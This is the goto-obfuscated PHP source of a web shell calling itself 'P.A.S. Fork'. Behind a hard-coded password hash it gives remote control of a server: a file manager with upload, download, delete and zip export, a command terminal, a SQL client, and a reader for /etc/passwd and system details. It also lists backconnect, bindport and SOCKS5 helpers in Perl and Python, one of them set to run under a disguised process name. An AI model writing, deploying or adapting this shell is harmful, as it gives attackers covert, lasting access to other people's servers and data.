  <?php  goto fjVAJ; pNK4T: function genEncKey($str) { return base64_encode(hash($GLOBALS["HASHTYPE"], ($GLOBALS["REMOTE_ADDR"] ? $_SERVER["REMOTE_ADDR"] : '') . $str . __FILE__)); } goto ZY6LM; s_qSS: if ($GLOBALS["ACECONF"]["URL"]) { ?> 
function aceEditorProcess(element){ 
 
	if(typeof ace == 'undefined'){ 
		var aceScript = document.createElement('script'); 
		aceScript.src = '<?php  echo $GLOBALS["ACECONF"]["URL"]; ?> 
'; 
		document.body.appendChild(aceScript); 
 
		aceScript.onload = function(){ 
			aceEditor = []; 
			aceEditorProcess(element); 
		} 
 
		return false; 
	} 
 
	var aceEditorModes = ['php', 'perl', 'python', 'golang', 'ruby', 'javascript', 'sh', 'powershell' , 'sql', 'apache_conf', 'nginx', 'lua', 'markdown']; 
	var aceEditorThemes = ['eclipse', 'dreamweaver', 'crimson_editor', 'sqlserver', 'solarized_light', 'xcode', 'katzenmilch', 'dawn', 'iplastic', 'monokai', 'ambiance', 'cobalt', 'nord_dark']; 
	var parentForm = getParentFormOf(element); 
	var eId = parentForm.name = (parentForm.name ? parentForm.name : Math.random().toString(36).substring(2, 15)); 
	var flexRow = parentForm.children[2]; 
	var textArea = parentForm.elements[0]; 
	var saveButton = parentForm.elements[4]; 
	var reloadButton = parentForm.children[0].children[3]; 
	var editorButton = parentForm.children[0].children[4]; 
	var closeButton = parentForm.children[0].children[1]; 
	var aceEditorDiv = parentForm.children[eId]; 
	var aceEditorModeSelect = flexRow.children[1]; 
	var aceEditorThemeSelect = flexRow.children[2]; 
 
	if(aceEditorDiv){ 
		parentForm.removeChild(aceEditorDiv); 
		flexRow.removeChild(aceEditorModeSelect); 
		flexRow.removeChild(aceEditorThemeSelect); 
		textArea.value = aceEditor[eId].getValue(); 
		textArea.style.display = 'inline'; 
		saveButton.setAttribute('onclick', ''); 
		reloadButton.setAttribute('oncontextmenu', ''); 
		reloadButton.setAttribute('title', ''); 
		closeButton.setAttribute('onclick', 'return uiDstrModal(this.parentNode.parentNode)'); 
		clearInterval(aceEditor[eId]['setInterval']); 
		delete aceEditor[eId]; 
 
		return false; 
	} 
 
	var wrapLines = 'aceEditor["' + eId + '"].setOption("wrap", (aceEditor["' + eId + '"].getOption("wrap") == "free" ? "off" : "free")); return false;'; 
	var clickNscroll = 'aceEditor["' + eId + '"]["reloadButton"].click(); setTimeout("aceEditor[`' + eId + '`].scrollToRow(Number.MAX_SAFE_INTEGER)", 200);'; 
 
	var hotKeys = ` 
		if(event.ctrlKey){ 
			if(event.keyCode === 83){ 
				getParentFormOf(this).elements[6].click(); return false; 
			} 
			if(event.keyCode === 69){ 
				` + wrapLines + ` 
				return false; 
			} 
		} 
	`; 
	var hotKeysHint = `Ctrl + [KEY]:\n\nS - Save\nE - Line wrap\nL - Go to line\nP - Go to bracket\nH - Find and Replace\n\nSee the AceJS wiki for more.`; 
 
	var aceEditorDiv = document.createElement('div'); 
	aceEditorDiv.id = eId; 
	aceEditorDiv.contentEditable = 'true'; 
	aceEditorDiv.style = 'border: 1px solid #7f7f7f; height: 100%; margin: 2px;'; 
	aceEditorDiv.textContent = textArea.value; 
	aceEditorDiv.setAttribute('onkeydown', hotKeys); 
	parentForm.insertBefore(aceEditorDiv, parentForm.children[3]); 
	parentForm.setAttribute('onmousedown', 'if(event.srcElement.className != "ace_content") uiActvModal(event)'); 
	saveButton.setAttribute('onclick', 'getParentFormOf(this).elements[0].value = aceEditor[\'' + eId + '\'].getValue()'); 
	reloadButton.setAttribute('oncontextmenu', ` 
		var e = aceEditor['` + eId + `']; 
		var p = prompt((e['reloadInterval'] ? 'Current value is ' + e['reloadInterval'] + '. ' : '') + 'Set reload interval in seconds: \\n\\n'); 
		var s = Math.abs(Number(p)); 
 
		clearInterval(e['setInterval']); 
 
		if(s > 0){ 
			e['reloadInterval'] = s; 
			e['setInterval'] = setInterval('` + clickNscroll + `', s * 1000); 
			this.title = s + ' sec.'; 
			this.style.color = 'red'; 
		} 
		else if(e['reloadInterval']){ 
			this.style.color = this.title = ''; 
			clearInterval(e['setInterval']); 
			delete e['reloadInterval']; 
		} 
		else if(p == null){ 
			` + clickNscroll + ` 
		} 
 
		return false; 
	`); 
	editorButton.title = hotKeysHint; 
	closeButton.setAttribute('onclick', 'clearInterval(aceEditor[\'' + eId +'\'][\'setInterval\']); delete aceEditor[\'' + eId + '\'];' + closeButton.getAttribute('onclick')); 
 
	textArea.style.display = 'none'; 
	if(!textArea.setterRedefined){ 
	    Object.defineProperty(textArea, 'value', { 
			set(value){ 
				this.setterRedefined = true; 
				if(aceEditor[eId]) 
					aceEditor[eId].setValue(value, -1); 
				return Object.getOwnPropertyDescriptor(HTMLTextAreaElement.prototype, 'value').set.call(this, value); 
			}, 
			get(){ 
				return Object.getOwnPropertyDescriptor(HTMLTextAreaElement.prototype, 'value').get.call(this); 
			} 
	    }); 
	} 
 
	aceEditor[eId] = ace.edit(eId); 
	aceEditor[eId].setFontSize('14px'); 
	aceEditor[eId].setTheme('ace/theme/<?php  echo $GLOBALS["ACECONF"]["THEME"]; ?> 
'); 
	aceEditor[eId].session.setMode('ace/mode/<?php  echo $GLOBALS["ACECONF"]["MODE"]; ?> 
'); 
	aceEditor[eId].setOption('showPrintMargin', false); 
	aceEditor[eId].setOption('wrap', true); 
	aceEditor[eId].session.setUseWorker(false); 
	aceEditor[eId].setBehavioursEnabled(true); 
	aceEditor[eId].reloadButton = reloadButton; 
 
	new ResizeObserver((function(){if(aceEditor[eId]) aceEditor[eId].resize()})).observe(parentForm); 
 
	aceEditorThemeSelect = buildSelectFor(aceEditorThemes, '<?php  echo $GLOBALS["ACECONF"]["THEME"]; ?> 
', 'aceEditor[\'' + eId + '\'].setTheme(\'ace/theme/\' + this.value);'); 
	aceEditorModeSelect = buildSelectFor(aceEditorModes, '<?php  echo $GLOBALS["ACECONF"]["MODE"]; ?> 
', 'aceEditor[\'' + eId + '\'].session.setMode(\'ace/mode/\' + this.value);'); 
	aceEditorModeSelect.setAttribute('oncontextmenu', wrapLines); 
	aceEditorModeSelect.title = 'Right click to change line wrap'; 
 
	flexRow.insertBefore(aceEditorModeSelect, flexRow.children[1]); 
    flexRow.insertBefore(aceEditorThemeSelect, flexRow.children[1]); 
} 
 
function buildSelectFor(array, selected = '', onChange = ''){ 
	var select = document.createElement('select'); 
	select.setAttribute('onchange', onChange); 
	array.forEach(function(item){ 
		var option = document.createElement('option'); 
		option.value = option.textContent = item; 
		if(item == selected) option.selected = true; 
		select.appendChild(option); 
	}); 
 
	return select; 
} 
 
function insertCodeEditor(){ 
	document.getElementById('tmplFrmFile').innerHTML = document.getElementById('tmplFrmFile').innerHTML.replace(/<\/a><\/div>/g,'</a> <a href="#" class="cntrl" title="Code Editor&#x000a;&#x000a;After clicking, the EXTERNAL JS file will be loaded:&#x000a;&#x000a;<?php  echo $GLOBALS["ACECONF"]["URL"]; ?> 
" onclick="aceEditorProcess(this);return false"><small>E</small></a><?php  echo $GLOBALS["ACECONF"]["DEFAULT"] ? "<img/src/onerror="aceEditorProcess(this)"/style="display:none;"/>" : ''; ?> 
</div>'); 
} 
 
insertCodeEditor(); 
<?php  } goto Ra745; c4ssQ: if (NIX) { echo ",row.cells[5].firstChild.title,og[0],og[1]"; } goto BJRA0; pyHi0: $out = ob_get_contents(); goto yYeaX; fjVAJ: if (NIX) { echo ",data.o,data.g"; } goto u3rmu; bmg0Q: echo NIX ? "/bin/shell -c 'uname -a; id'" : "cmd /c 'ver; pwd'"; goto odx9K; aS9O2: ?> 
\n', 
    opta = '  -a <addr>  Listen only on IP address <addr>. Default listening on all adresses\n', 
    optn = '  -n <name>  Set process name to <name>. Default value is secret ;)\n', 
    opts = '  -s <file>  Use shell <file>. Default: <?php  goto gBMej; ZY6LM: function setEncKey($pass = '') { if (!$pass && $GLOBALS["ENCKEY"]) { return $GLOBALS["ENCKEY"]; } $eKey = genEncKey($pass); $GLOBALS["ENCKEY"] = $eKey; return $eKey; } goto bQERu; tFxgT: ?> 
); 
 else 
  for (var i = 0, c = data.f.length; i < c; ++i) listFiles(data.f[i] <?php  goto On8I4; voBZd: echo file_exists($ico) ? base64_encode(file_get_contents($ico)) : "R0lGODlhEAAQAJECAMDAwAAAAP///wAAACH5BAEAAAIALAAAAAAQABAAQAIglI+pGwErgITtiWowc7D7b0iWGE7gp51qknrkemgyBxcAOw=="; goto Tt4C2; QegiF: ?> 
<script> 
<?php  goto s_qSS; eWS3s: $sysini = ini_get_all(); goto m3s68; Y0P3z: function getEncKey() { $len = $GLOBALS["PRELEN"]; foreach ($_REQUEST as $k => &$v) { $pref = strrev(substr($k, 0, $len)); $post = substr($k, $len, $len); if ($pref === $post) { $eKey = $v; unset($_REQUEST[$k]); $GLOBALS["ENCKEY"] = base64_decode($eKey); return $GLOBALS["ENCKEY"]; } } return false; } goto pNK4T; cYM70: echo $GLOBALS["DEFAULT_TAB"]; goto D25bh; qpEiQ: function uName($id) { if ($id === -1) { return "?"; } static $a = NULL, $f = FALSE; if ($a === NULL) { if ($v = getFile("/etc/passwd")) { $a = array(); $v = explode("
", $v); foreach ($v as $i) { if ($i) { $i = explode(":", $i, 4); $a[$i[2]] = $i[0]; } } } elseif (defined("POSIX_F_OK") || function_exists("posix_getpwuid")) { $f = (bool) posix_getpwuid(0); } } if ($a) { if (isset($a[$id])) { return $a[$id]; } elseif ($f) { if ($v = posix_getpwuid($id)) { return $v["name"]; } } } return $id; } goto ASF_h; qH6mN: function unQuote($a) { foreach ($a as $k => $v) { if (is_array($v)) { $a[$k] = unQuote($v); } else { $a[$k] = stripslashes($v); } } return $a; } goto cVDuY; nl10B: ?> 
\n', 
    pthn = '<?php  goto m3huV; kGtE3: function checkAuth() { if (!$GLOBALS["PASSHASH"]) { return setEncKey(); } $loginWithPass = isset($_REQUEST["pass"]) && hash($GLOBALS["HASHTYPE"], $_REQUEST["pass"]) === $GLOBALS["PASSHASH"]; $encKeyWithPass = $GLOBALS["ENCKEY"] === genEncKey($GLOBALS["PASSHASH"]); if ($loginWithPass) { setEncKey($GLOBALS["PASSHASH"]); } elseif ($encKeyWithPass) { setEncKey(); } else { loginFormOut(); } } goto Y0P3z; cVDuY: function prepVals(&$a, $k) { foreach ($a as $i => $v) { if (is_array($v)) { prepVals($a[$i], $k); } elseif (strlen($v) > 2) { $r = ''; $v = explode($k, $v); for ($n = count($v) - 1; $n >= 0; --$n) { $c = array_pop($v); if ($c === '') { $c = $k; } if ($n % 2 === 0) { $r .= $c; } else { $r = $c . $r; } } $a[$i] = $r; } } } goto Q9YuK; IocAI: ?> 
 </select><input type="text"name="h"placeholder="Host"/><input type="text"name="u"placeholder="User"/><input type="text"name="p"placeholder="Password"/><input type="text"name="b"placeholder="Base"/><button>&gt;</button></form><div class="subbar"><span class="spnChrst"> <hr class="arwUp"/> <select id="sqlCSSend"><?php  goto rYG4X; RWhia: $GLOBALS["SECHEAD"] = "USER_AGENT"; goto FMHLc; B46FD: if (NIX) { echo "var og=row.cells[6].title.split('/');"; } goto peFDT; E6yQa: ?> 
</script> 
</html> 
<?php  goto pyHi0; zKHge: define("TM", isset($D["tm"]) ? true : false); goto f4CaP; t18Ha: function ascii2hex($ascii) { $hex = ''; for ($i = 0; $i < strlen($ascii); $i++) { $byte = strtoupper(dechex(ord($ascii[$i]))); $byte = str_repeat("0", 2 - strlen($byte)) . $byte; $hex .= $byte; } return $hex; } goto LqFLO; A_5i2: ?> 
 <th width="65px">Actions</th></tr></thead><tfoot><tr><th colspan="<?php  goto STCWy; TUFOa: $GLOBALS["ACECONF"] = array("DEFAULT" => false, "THEME" => "crimson_editor", "MODE" => "php", "URL" => "https://cdnjs.cloudflare.com/ajax/libs/ace/1.14.0/ace.js"); goto FLogZ; y_1e6: echo time() * 1000; goto rCOs1; f4CaP: define("CSE", isset($D["c"]) ? $C[$D["c"]] : "UTF-8"); goto U8iwQ; XZrMW: infMain(TRUE); goto Uj2er; kYUjf: echo NIX ? 7 : 6; goto JNe9f; IFFT1: if (!NIX) { $a = range("A", "Z"); foreach ($a as $v) { $i = new FileInfo($v . ":\"); if ($i->isDir()) { echo "<button type="button"onclick="goTo(", "'", $v, ":\\'", ")">", $v, ":</button>"; } } } goto ttWuN; zObPJ: ?> 
</select></span></div></div><div id="divTrm"onclick="onTrmClick(event)"><pre id="preTrm"onkeydown="onTrmResKeyDwn(event)"tabindex="-1"></pre><div class="flexRow"><span id="spnUsrHst"></span>:<span id="spnPth"></span>$&nbsp;<input type="text"name="e"id="inpTrm"onkeydown="onTrmInpKeyDwn(event)"autocomplete="off"/></div></div></form></span><span id="tabInf"><a href="#tabInf"class="tab">Information</a><div class="tabPage"id="divInfo"><div class="toolbar"><div><a href="#"class="lnkAct"onclick="return ajxSnd('Get main info', onInfMain, null, {a:'i',t:'m'})">Main</a> / <a href="#"class="lnkAct"onclick="return ajxSnd('Get php info', onInfPHP, null, {a:'i',t:'p'})">PHP</a> / </div></div> <?php  goto XZrMW; pYW3v: ?> 
 <hr class="spcrFlex"/><button >Save</button></div></form></template><form id="frmBuffer"class="modal"onmousedown="uiActvModal(event)"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Buffer</span><a href="#"class="cntrl"title="Close"onclick="return uiClsModal('frmBuffer')">&#x00D7;</a><a href="#"class="cntrl"title="Resize"onclick="return uiRsz('frmBuffer')">&#x2922;</a></div><table id="tblBuffer"onclick="onTblBufferClick(event)"><thead><tr><th width="20px"><input type="checkbox"onclick="uiCheckAll('Buffer', this.checked)"/></th><th>File</th><th width="35px">Act</th></tr></thead><tfoot><tr><th colspan="3"><button type="button"onclick="unmarkFiles()">Remove</button></th></tr></tfoot></table><template id="tmplBufferRow"><tr><td><input type="checkbox"name="f[]"/></td><td><a href="#"></a></td><td><a href="#"class="lnkAct">Rm</a></td></tr></template></form></div></div></span><span id="tabSQL"><a href="#tabSQL"class="tab">SQL Client</a><div class="tabPage"id="divPageSQL"><form class="toolbar"id="frmCnnct"onsubmit="return cnnct()"><select name="e"> <?php  goto WSa3y; t0BE3: ?> 
"/></label><label class="option">Interpreter: <input type="text"name="i"value="<?php  goto OXueo; OXueo: if (PHP_VERSION >= "5.4") { echo escHTML(PHP_BINARY); } goto xJtKW; XxpKg: ?> 
\n', 
    optt = '  -t         Open PTY\n', 
    optl = '  -s <u:p>   Secure with authentication (u - username, p - password)\n', 
    ign = '     u - Users and Groups;\n     e - Environment;\n     p - Processes;\n     n - Network;\n'; 
   if (val[0] === 'backconnect.perl' && val.length < 3) prntMsg(usg + ' <ip>' + opt + perl + opts + optn); 
   else if (val[0] === 'bindport.perl' && val.length < 2) prntMsg(usg + opt + perl + opta + opts + optn); 
   else if (val[0] === 'socks5.perl' && val.length < 2) prntMsg(usg + opt + perl + opta + optl + optn); 
   else if (val[0] === 'backconnect.python' && val.length < 3) prntMsg(usg + ' <ip>' + opt + pthn + opts + optt); 
   else if (val[0] === 'bindport.python' && val.length < 2) prntMsg(usg + opt + pthn + opta + opts + optt); 
   else if (val[0] === 'socks5.python' && val.length < 2) prntMsg(usg + opt + pthn + opta + optl); 
   else if (val[0] === 'report' && val[1] === '?') prntMsg(usg + ' [options]\nOptions:\n  -f <file>   Save report to <file>\n  -s [flags]  Skip some information\n     Flags:\n<?php  goto pONv0; LbO1d: $GLOBALS["PASSHASH"] = "dfbbeccfdcae9732e3d43697861efbe7bc56ffc746f07c3176a4594fc09977b747997d93cb65fb64ff093bc467e0ab35de3bc761efa29cb29a95c4df38375c26"; goto RWhia; zw1oE: if (NIX) { echo "'u',"; } goto bB1qC; dyrTR: ?> 
row.style.visibility = 'visible'; 
} 
 
function fillFileRow(cells, bpth, file, ogn) { 
 var fpth = bpth + file[0][0], 
  elm = cells[1].firstChild, 
  len = file.length; 
 if (file[1] === null) fpth += DS; 
 cells[0].firstChild.value = fpth; 
 elm.textContent = file[0][1]; 
 if (len % 2 === 0) { 
  elm.title = canonPath(file[len - 1], bpth); 
  elm.classList.add('lnk'); 
 } 
 if (fmBuffer.indexOf(fpth) > -1) elm.classList.add('mrkd'); 
 elm = cells[2].firstChild; 
 elm.title = file[0][0]; 
 elm.textContent = file[0][2]; 
 cells[3].firstChild.textContent = frmtSize(file[1]); 
 cells[4].textContent = utsToStr(file[2]); 
 elm = cells[5].firstChild; 
 elm.classList.add('prm' + file[3]); 
 <?php  goto JEY00; JEY00: if (NIX) { ?> 
elm.textContent = prmsToStr(file[4]); 
 elm.title = (file[4] | 0).toString(8).slice(-4); 
 elm = cells[6]; 
 elm.textContent = ogn; 
 elm.title = (file[5] === -1 ? '?' : file[5]) + '/' + (file[6] === -1 ? '?' : file[6]); 
 <?php  } else { ?> 
switch(file[3]) { 
  case 1: elm.textContent = 'read'; 
  break; 
  case 2: elm.textContent = 'write'; 
  break; 
  case 3: elm.textContent = 'read/write'; 
  break; 
  default: elm.textContent = 'none'; 
  break; 
 } 
 <?php  } goto I3CN4; lpFFg: ?> 
</select></span></form><div class="subbar"><button type="button"title="You can upload multiple files at once..."onclick="elmById('inpUpl').click()">Upload &#8230;</button><span class="spnBtnSbMn"><button type="button"class="btnSbMn"onclick="uiTgglSubMenu(event)"onblur="menuButtonBlur(this)">Create <hr class="arwDwn"/></button><div class="divSbMn"onclick="onCrtMenuClick(event)"><a href="#"class="aMnItm"onblur="menuItemBlur(this)">File</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Link</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Directory</a></div></span><span class="spnBtnSbMn"><button type="button"class="btnSbMn"id="btnBufferMenu"onclick="uiTgglSubMenu(event)"onblur="menuButtonBlur(this)"disabled>Buffer <hr class="arwDwn"/></button><div class="divSbMn"onclick="onBufferMenuClick(event)"><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Show files<a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Copy here</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Move here</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Download</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Clear</a></div></span></div><div><form id="frmFiles"><table id="tblFiles"cols="<?php  goto WIEYr; u3rmu: ?> 
); 
 if ('e' in data) { 
  var msg = div.childNodes[1].nodeValue; 
  uiChngMsg(div, "Can't " + msg.slice(0, 10).toLowerCase() + msg.slice(26, -1) + ":\n" + data.e.join("\n"), 'Err'); 
 } else uiDelMsg(div); 
} 
 
function flushBuffer(act) { 
 var bpth = elmPth.placeholder, 
  data = { 
   f: bpth 
  }; 
 data[act === 'Copy' ? 'p' : 'v'] = fmBuffer; 
 fmAjxSnd(act + ' files from the buffer to ' + bpth, onFlshBuffer, data); 
} 
 
function clnBuffer() { 
 var as = elmTblFiles.getElementsByClassName('mrkd'); 
 for (var i = as.length - 1; i >= 0; --i) as[i].classList.remove('mrkd'); 
 fmBuffer = []; 
 updBufferState(); 
} 
 
function onBufferMenuClick(e) { 
 var trgt = e.target; 
 if (trgt.tagName !== 'A') return; 
 e.preventDefault(); 
 e.stopPropagation(); 
 trgt.blur(); 
 fmBuffer.sort(); 
 switch (trgt.textContent) { 
  case 'Show files': 
   uiShwFrmBuffer(); 
   break; 
  case 'Copy here': 
  case 'Move here': 
   flushBuffer(trgt.textContent.slice(0, 4)); 
   clnBuffer(); 
   break; 
  case 'Download': 
   dwnFiles(fmBuffer); 
   clnBuffer(); 
   break; 
  case 'Clear': 
   clnBuffer(); 
   break; 
 } 
} 
 
function markFiles(files) { 
 var bfrTbdy = elmById('frmBuffer').style.visibility === 'visible' ? elmById('tblBuffer').tBodies[0] : null, 
  elmTmplBufferRow = elmById('tmplBufferRow').content.firstChild; 
 for (var i = 0, c = files.length; i < c; ++i) { 
  var file = files[i], 
   n = fmBuffer.indexOf(file); 
  if (n === -1) { 
   fmBuffer.push(file); 
   if (bfrTbdy) { 
    var row = elmTmplBufferRow.cloneNode(true); 
    row.cells[0].firstChild.value = file; 
    row.cells[1].firstChild.textContent = file; 
    bfrTbdy.appendChild(row); 
   } 
  } else { 
   fmBuffer.splice(n, 1); 
   if (bfrTbdy) bfrTbdy.removeChild(bfrTbdy.rows[n]); 
  } 
 } 
 updBufferState(); 
} 
 
function getSlctdFiles() { 
 var inps = elmById('frmFiles')['f[]'], 
  chckd = []; 
 if (inps) { 
  if (inps.length > 0) { 
   for (var i = 0, c = inps.length; i < c; ++i) 
    if (inps[i].checked) chckd.push(inps[i].value); 
  } else chckd.push(inps); 
 } 
 return chckd; 
} 
 
function prpsSlctdFiles() { 
 var files = getSlctdFiles(); 
 if (files.length > 0) uiShwFrmPrps(['', '', '', '', ''], files) 
} 
 
function markSlctdFiles() { 
 var inps = elmById('frmFiles')['f[]'], 
  files = []; 
 if (!inps) return; 
 if (!inps.length) inps = [inps]; 
 for (var i = 0, c = inps.length; i < c; ++i) 
  if (inps[i].checked) { 
   inps[i].parentNode.parentNode.cells[1].firstChild.classList.toggle('mrkd'); 
   files.push(inps[i].value); 
  } markFiles(files); 
} 
 
function onTblFilesClick(e) { 
 var trgt = e.target; 
 if (trgt.tagName !== 'A') return; 
 e.preventDefault(); 
 e.stopPropagation(); 
 if (trgt.className == 'spnPth') goTo(trgt.hash.slice(1)); 
 else { 
  var cell = trgt.parentNode, 
   row = cell.parentNode, 
   fpth = row.cells[0].firstChild.value; 
  switch (cell.cellIndex) { 
   case 1: 
    goTo(fpth); 
    break; 
   case 2: 
    var elmTxtClpbrd = elmById('txtClpbrd'); 
    elmTxtClpbrd.value = trgt.title; 
    elmTxtClpbrd.select(); 
    document.execCommand('copy'); 
    elmTxtClpbrd.value = ''; 
    trgt.focus(); 
    break; 
   case 3: 
    dwnFiles([fpth]); 
    break; 
   case 5: 
    <?php  goto B46FD; D25bh: ?> 
'; <?php  goto oKPfv; lQqu6: if (NIX) { ?> 
<td></td><?php  } goto ng60J; OKNcO: if (!defined("CED")) { if (isset($D["a"])) { $md5 = md5(rand(0, 777777)); if (isset($D["d"])) { if ($D["a"] === "f") { if (is_array($D["d"])) { $D["DBP"] = samePath($D["d"]); $n = $md5 . ".zip"; } elseif (is_dir($D["d"])) { $n = $md5 . ".zip"; } else { $n = fileName($D["d"]); } $n = escFileName($n); } else { $n = $md5 . ".zip"; } header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename="" . $n . (RO ? '' : ".gz") . """); } else { header("Content-Type: application/json; charset=" . CSE); } } else { header("Content-Type: text/html; charset=" . CSE); } } goto CWbST; yWlhJ: foreach ($a as $k => $v) { if (defined($k)) { echo "<option value="", $v[0], "">", $v[1], "</option>"; } } goto IocAI; tLK80: echo paramsHandlerJS(); goto QegiF; Qhy05: ?> 
elmById('divWndws').appendChild(frm); 
 uiShwModal(frm); 
} 
 
function onGetPrps(div, data) { 
 if (data[4] === 0) return uiChngMsg(div, "Can't get properties of " + data[0], 'Err'); 
 uiShwFrmPrps([data[0], utsToStr(data[2]), (data[4] | 0).toString(8).slice(-4), data[5] === -1 ? '?' : data[5], data[6] === -1 ? '?' : data[6]], [data[0]]); 
 uiDelMsg(div); 
} 
 
function getPrps(fpth) { 
 fmAjxSnd('Get properties of ' + fpth, onGetPrps, { 
  i: fpth 
 }); 
} 
 
function onDwnFiles(div, data) { 
 uiChngMsg(div, "Can't d" + div.childNodes[1].nodeValue.slice(1, -2), 'Err'); 
} 
 
function dwnFiles(files) { 
 var cnt = files.length; 
 if (cnt > 0) fmAjxSnd('Download ' + (cnt > 1 ? 'selected files (' + cnt + ')' : files[0]), onDwnFiles, { 
  d: cnt > 1 ? files : files[0] 
 }); 
} 
 
function onDelFiles(div, data) { 
 if ('r' in data) { 
  for (var i = data.r.length - 1; i >= 0; --i) rmFiles(data.r[i]); 
  updBufferState(); 
 } 
 if ('e' in data) uiChngMsg(div, "Can't delete " + (data.e.length === 1 ? data.e[0] : ':\n' + data.e.join('\n')), 'Err'); 
 else uiDelMsg(div); 
} 
 
function delFiles(files) { 
 var cnt = files.length, 
  msg = 'Delete ' + (cnt > 1 ? 'selected files (' + cnt + ')' : files[0]); 
 if (cnt > 0 && confirm(msg + ' ?')) fmAjxSnd(msg, onDelFiles, { 
  u: files 
 }); 
} 
 
function onFastActClick(e) { 
 var trgt = e.target; 
 if (trgt.tagName !== 'A') return; 
 e.preventDefault(); 
 e.stopPropagation(); 
 trgt.blur(); 
 var fpth = canonPath(elmPth.value, elmPth.placeholder); 
 if (fpth === '') return; 
 switch (trgt.textContent) { 
  case 'Properties': 
   getPrps(fpth); 
   break; 
  case 'Download': 
   dwnFiles([fpth]); 
   break; 
  case 'Delete': 
   delFiles([fpth]); 
   break; 
 } 
} 
 
function onUplFiles(div, data) { 
 if ('p' in data) updTblFiles(data<?php  goto MgM2z; FrNOm: function parsePath($p, &$b, &$n) { $v = rtrim($p, DSC); $i = strrpos($v, DSC); if ($i === FALSE) { if (!NIX && strlen($v) === 2 && $v[1] === ":") { $b = $v . DSC; $n = ''; } else { $b = DSC; $n = $v; } } else { $b = substr($v, 0, $i + 1); $n = substr($v, $i + 1); } } goto HPKuj; Absku: ?> 
</script></head><body onkeydown="uiKeyDwn(event)"><div id="divHdr"class="divCntrls"><a href="#"class="cntrl"title="Color mode"onclick="return invertColors()">&bull;</a><a href="#"class="cntrl"title="Resize view"onclick="return uiRszBody()">&#x21C4;</a><a href="#"class="cntrl"title="Settings"onclick="return uiShwModal('divStngs')">&#x2699;</a></div><div id="divBody"><span id="tabFM"><a href="#tabFM"class="tab">File Manager</a><div class="tabPage"id="divFM"><textarea id="txtClpbrd"tabindex="-1"></textarea><form hidden id="frmUpl"><input type="file"name="f[]"id="inpUpl" onchange="uplFiles()"/></form><form class="toolbar"id="frmFM"onsubmit="return goTo(this.p.value)"><a href="#"class="cntrl"id="btnSrch"title="Search..."onclick="return uiShwFrmSrch()"></a><button type="button"title="Go home!"onclick="goTo('~')">~</button> <?php  goto IFFT1; tCVdW: if (isset($D["a"])) { class PZIP { var $_bpl = '', $_cdfh = NULL, $_cdfp = NULL, $_cdfo = FALSE, $_cdrc = 0, $_cdso = 0, $_flrs = array(); function init($bp = '') { $this->_bpl = strlen($bp); if ($h = tmpfile()) { $this->_cdfh = $h; } else { $n = tempName(); $a = array("upload_tmp_dir", "session.save_path", "user_dir", "doc_root"); foreach ($a as $v) { if ($p = ini_get($v)) { $p .= DSC . $n; if ($h = fopen($p, "bw+")) { flock($h, LOCK_EX); $this->_cdfh = $h; $this->_cdfp = $p; return TRUE; } if (PHP_VERSION >= "5") { if (PHP_VERSION >= "5.1") { try { $h = new SplFileObject($p, "bw+"); } catch (Exception $e) { $h = NULL; } if ($h) { $h->flock(LOCK_EX); $this->_cdfh = $h; $this->_cdfp = $p; $this->_cdfo = TRUE; return TRUE; } } } } } $p = selfPath() . $n; if ($h = fopen($p, "bw+")) { flock($h, LOCK_EX); $this->_cdfh = $h; $this->_cdfp = $p; return TRUE; } if (PHP_VERSION >= "5") { if (PHP_VERSION >= "5.1") { try { $h = new SplFileObject($p, "bw+"); } catch (Exception $e) { $h = NULL; } if ($h) { $h->flock(LOCK_EX); $this->_cdfh = $h; $this->_cdfp = $p; $this->_cdfo = TRUE; return TRUE; } } } } return FALSE; } function fileHeader($n, $t) { echo "PK\x3\x4\24\0\10\x0\x0\x0", $t, "\0\0\x0\0\0\x0\0\x0\0\x0\0\0", pack("v", strlen($n)), "\x0\x0", $n; ob_start("zipCalc", 1048576); } function fileFooter($n, $t) { ob_end_flush(); $v = zipCalc(NULL); $s = pack("V", $v[0]); $c = pack("V", $v[1] ^ 4294967295); echo "PK\x7\x8", $c, $s, $s; $fh = $this->_cdfh; $nl = strlen($n); $data = "PK\1\x2\x0\x0\24\0\x8\x0\x0\x0" . $t . $c . $s . $s . pack("v", $nl) . "\x0\0\x0\0\x0\x0\0\0\0\0\0\x0" . pack("V", $this->_cdso) . $n; if ($this->_cdfo) { $fh->fwrite($data); $fh->fflush(); } else { fwrite($fh, $data); fflush($fh); } ++$this->_cdrc; $this->_cdso += 46 + $v[0] + $nl; } function addPath($p) { $f = new FileInfo($p); if ($f->isDir()) { if (substr($p, -1) !== DSC) { $p .= DSC; } $f = NULL; if (!dirRead($p, array(&$this, "addPath"))) { $this->_flrs[] = substr($p, $this->_bpl); } } else { $t = packTime($f->getMTime()); $f = substr($p, $this->_bpl); if (!NIX) { $f = str_replace(DSC, "/", $f); } $this->fileHeader($f, $t); if (!outFile($p)) { $this->_flrs[] = $f; } $this->fileFooter($f, $t); } } function close() { if (count($this->_flrs) > 0) { $n = "CANT_READ.txt"; $t = packTime(time()); $this->fileHeader($n, $t); foreach ($this->_flrs as $v) { echo $v, "
"; } $this->fileFooter($n, $t); } $fh = $this->_cdfh; if ($this->_cdfo) { $s = $fh->ftell(); $fh->fseek(0); if (!is_int($fh->fpassthru())) { while (!$fh->eof()) { echo $fh->fread(1048576); } } $fh->flock(LOCK_UN); unset($fh, $this->_cdfh); } else { $s = ftell($fh); fseek($fh, 0); if (!is_int(fpassthru($fh))) { while (!feof($fh)) { echo fread($fh, 1048576); } } flock($fh, LOCK_UN); fclose($fh); } if ($this->_cdfp !== NULL) { delFile($this->_cdfp); } $v = pack("v", $this->_cdrc); $c = "Archived by P.A.S. Fork v. " . VER; echo "PK\x5\6\x0\x0\x0\0", $v, $v, pack("V", $s), pack("V", $this->_cdso), pack("v", strlen($c)), $c; sDie(); } } function packTime($v) { $v = getdate($v); return pack("vv", ($v["hours"] << 11) + ($v["minutes"] << 5) + $v["seconds"] >> 1, ($v["year"] - 1980 << 9) + ($v["mon"] << 5) + $v["mday"]); } if (!defined("PHP_INT_MAX")) { define("PHP_INT_MAX", intval("10000000000000000000")); } function zipCalc($buff) { static $crcTbl = NULL, 